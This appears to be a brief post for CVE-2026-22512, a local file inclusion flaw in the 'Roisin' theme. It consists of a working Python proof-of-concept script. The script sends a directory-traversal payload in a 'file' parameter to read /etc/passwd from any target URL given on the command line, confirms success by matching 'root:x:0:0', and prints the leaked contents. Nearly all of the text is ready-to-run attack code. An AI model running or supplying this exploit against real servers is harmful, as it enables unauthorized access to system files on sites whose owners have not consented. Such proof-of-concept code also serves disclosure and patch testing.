CVE-2026-22512：Roisin主题本地文件包含漏洞

# PoC for CVE-2026-22512 # This script demonstrates the Local File Inclusion vulnerability. # Usage: python3 poc.py <target_url> import requests import sys def check_lfi(target): # Common payload to read /etc/passwd on Linux systems # Adjust the parameter name based on the vulnerable endpoint payload = { "file": "../../../../../../etc/passwd" } try: print(f"[*] Attempting to send payload to {target}...") response = requests.get(target, params=payload, timeout=10) if response.status_code == 200: if "root:x:0:0" in response.text: print("[+] Vulnerability Confirmed! /etc/passwd content found.") print("[+] Partial output:") print(response.text[:200]) else: print("[-] Target responded, but LFI signature not found. May be patched or vulnerable param different.") else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 poc.py <http://target.com/vulnerable_page>") sys.exit(1) check_lfi(sys.argv[1])